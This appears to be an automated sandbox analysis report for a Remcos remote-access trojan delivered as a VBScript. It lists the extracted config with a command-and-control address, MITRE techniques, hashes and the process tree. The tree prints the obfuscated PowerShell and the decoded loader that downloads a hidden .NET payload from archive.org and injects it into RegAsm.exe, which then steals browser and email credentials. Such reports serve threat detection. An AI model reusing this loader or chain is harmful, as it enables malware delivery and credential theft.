remcos | 2e77509ea9ec194b585fc9f85251ed3176094a158aa4ad44da436a7cd104bdad

Analysis

max time kernel
147s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
18/06/2024, 09:20

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General

Target
vb.vbs
Size 12KB
Sample240618-laytesxbqa
SHA256 2e77509ea9ec194b585fc9f85251ed3176094a158aa4ad44da436a7cd104bdad
MD5 563cca9709f10e06812e9ac2838679ae
SHA1 480ec8a360ef8b83dd31c0608477df46b989c0ac
SHA512 0ada9a337406941a9e20a7c2fa5378610b044a0aa8276a3157c728fd7602d6923edd133fde39fc675a90b40be9c4f413d39d4d476d2fa92468ea56897a5bb0a1
SSDEEP 384:r/B76pVgs3s18It+tm+2dhJ0RV/d+mUMYL/Hi6uHZzqiYOCoRYttfvOnBBYhX:yVSjoL2dhAV/gCYL/PxJOVYPX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection execution rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

94.156.66.67:2409

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-SOJDOX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1452-47-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3236-49-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/1452-47-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1552-51-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3236-49-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1312	powershell.exe
24	1312	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3912	powershell.exe
1312	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1312 set thread context of 436	1312	powershell.exe	98
PID 436 set thread context of 3236	436	RegAsm.exe	100
PID 436 set thread context of 1452	436	RegAsm.exe	101
PID 436 set thread context of 1552	436	RegAsm.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3912	powershell.exe
3912	powershell.exe
1312	powershell.exe
1312	powershell.exe
3236	RegAsm.exe
3236	RegAsm.exe
1552	RegAsm.exe
1552	RegAsm.exe
3236	RegAsm.exe
3236	RegAsm.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
436	RegAsm.exe
436	RegAsm.exe
436	RegAsm.exe
436	RegAsm.exe
436	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	1552	RegAsm.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 3804 wrote to memory of 3912	3804	WScript.exe	91
PID 3804 wrote to memory of 3912	3804	WScript.exe	91
PID 3912 wrote to memory of 1312	3912	powershell.exe	95
PID 3912 wrote to memory of 1312	3912	powershell.exe	95
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 1312 wrote to memory of 436	1312	powershell.exe	98
PID 436 wrote to memory of 2820	436	RegAsm.exe	99
PID 436 wrote to memory of 2820	436	RegAsm.exe	99
PID 436 wrote to memory of 2820	436	RegAsm.exe	99
PID 436 wrote to memory of 3236	436	RegAsm.exe	100
PID 436 wrote to memory of 3236	436	RegAsm.exe	100
PID 436 wrote to memory of 3236	436	RegAsm.exe	100
PID 436 wrote to memory of 3236	436	RegAsm.exe	100
PID 436 wrote to memory of 1452	436	RegAsm.exe	101
PID 436 wrote to memory of 1452	436	RegAsm.exe	101
PID 436 wrote to memory of 1452	436	RegAsm.exe	101
PID 436 wrote to memory of 1452	436	RegAsm.exe	101
PID 436 wrote to memory of 1192	436	RegAsm.exe	102
PID 436 wrote to memory of 1192	436	RegAsm.exe	102
PID 436 wrote to memory of 1192	436	RegAsm.exe	102
PID 436 wrote to memory of 1552	436	RegAsm.exe	103
PID 436 wrote to memory of 1552	436	RegAsm.exe	103
PID 436 wrote to memory of 1552	436	RegAsm.exe	103
PID 436 wrote to memory of 1552	436	RegAsm.exe	103

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vb.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTreYQByDgTreGMDgTreaDgTreBpDgTreHYDgTreZQDgTreuDgTreG8DgTrecgBnDgTreC8DgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLwBuDgTreGUDgTredwBfDgTreGkDgTrebQBhDgTreGcDgTreZQDgTreuDgTreGoDgTrecDgTreBnDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreGEDgTrecgBjDgTreGgDgTreaQB2DgTreGUDgTreLgBvDgTreHIDgTreZwDgTrevDgTreGQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBEDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreRDgTreBhDgTreHQDgTreYQBGDgTreHIDgTrebwBtDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreC0DgTrebgBlDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreFMDgTreVDgTreBBDgTreFIDgTreVDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBSDgTreGUDgTreZgBsDgTreGUDgTreYwB0DgTreGkDgTrebwBuDgTreC4DgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreF0DgTreOgDgTre6DgTreEwDgTrebwBhDgTreGQDgTreKDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreFIDgTredQBuDgTreFDgTreDgTreRQDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwB0DgTreHgDgTredDgTreDgTreuDgTreEIDgTreVgBSDgTreC8DgTreMDgTreDgTre5DgTreDDgTreDgTreMwDgTrevDgTreDkDgTreMDgTreDgTrexDgTreC4DgTreOQDgTrezDgTreC4DgTreNQDgTrezDgTreDIDgTreLgDgTreyDgTreDcDgTreMQDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreLDgTreDgTrenDgTreFIDgTreZQBnDgTreEEDgTrecwBtDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://archive.org/download/new_image/new_image.jpg', 'https://archive.org/download/new_image/new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.BVR/0903/901.93.532.271//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:436
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\gobkwiduc"
        5⤵
        
        PID:2820
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\gobkwiduc"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3236
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jihdxawvqdqm"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:1452
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\tkuvythpdlirqnz"
        5⤵
        
        PID:1192
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\tkuvythpdlirqnz"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1324,i,6041070687820623968,3004230300437737550,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:8
1⤵
PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1
MD5 81d91bab2fdd72436e4852d94ea7650d
SHA1 5652b3c46a0cf75a03859c5707f36fb08f5c631a
SHA512 df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
MD5 1a11402783a8686e08f8fa987dd07bca
SHA1 580df3865059f4e2d8be10644590317336d146ce
SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
MD5 SHA1 SHA512

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__PSScriptPolicyTest_4cjf3bts.plx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4cjf3bts.plx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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gobkwiduc

Path C:\Users\Admin\AppData\Local\Temp\gobkwiduc
Size 4KB
SHA256 dda03a1caa93b0ff4d9204642c71cb6de58ede08d1ebac4e7fd194c94ec06d7c
MD5 1f438b4289b7bacbfd5f1c8e7fc2f75f
SHA1 dcda2f2c41416c5515889519b668feca49fd5c71
SHA512 c138ad05e8330a836b700d65beb2a9492b4d97e076c39aa4ed886653c00c45b650a812fe82ec620ad6e698f4f47362154d763ca0c68c256dfeb7c169d2e35515
SSDEEP 48:wvvv0qQAgxfvvcqQAgxfdvv0qQAgxBvv0qQAgxakvv0qQAg7:mvRFgxvpFgp1vRFgPvRFgbvRFg7
MD5 SHA1 SHA512 SSDEEP

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memory/436-66-0x0000000010000000-0x0000000010019000-memory.dmp

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memory/436-63-0x0000000010000000-0x0000000010019000-memory.dmp

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memory/436-23-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-26-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-28-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-29-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-33-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-76-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-75-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-74-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-35-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-36-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-38-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-37-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-40-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-73-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-72-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-71-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-70-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-69-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-68-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/436-67-0x0000000010000000-0x0000000010019000-memory.dmp

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memory/1312-22-0x000001B163300000-0x000001B1634EC000-memory.dmp

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memory/1452-43-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/1452-42-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/1452-47-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/1552-51-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/1552-50-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/1552-48-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/3236-41-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3236-44-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3236-49-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3236-46-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/3912-34-0x00007FFD92D80000-0x00007FFD93841000-memory.dmp

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memory/3912-0-0x00007FFD92D83000-0x00007FFD92D85000-memory.dmp

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memory/3912-1-0x00000168FC090000-0x00000168FC0B2000-memory.dmp

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memory/3912-11-0x00007FFD92D80000-0x00007FFD93841000-memory.dmp

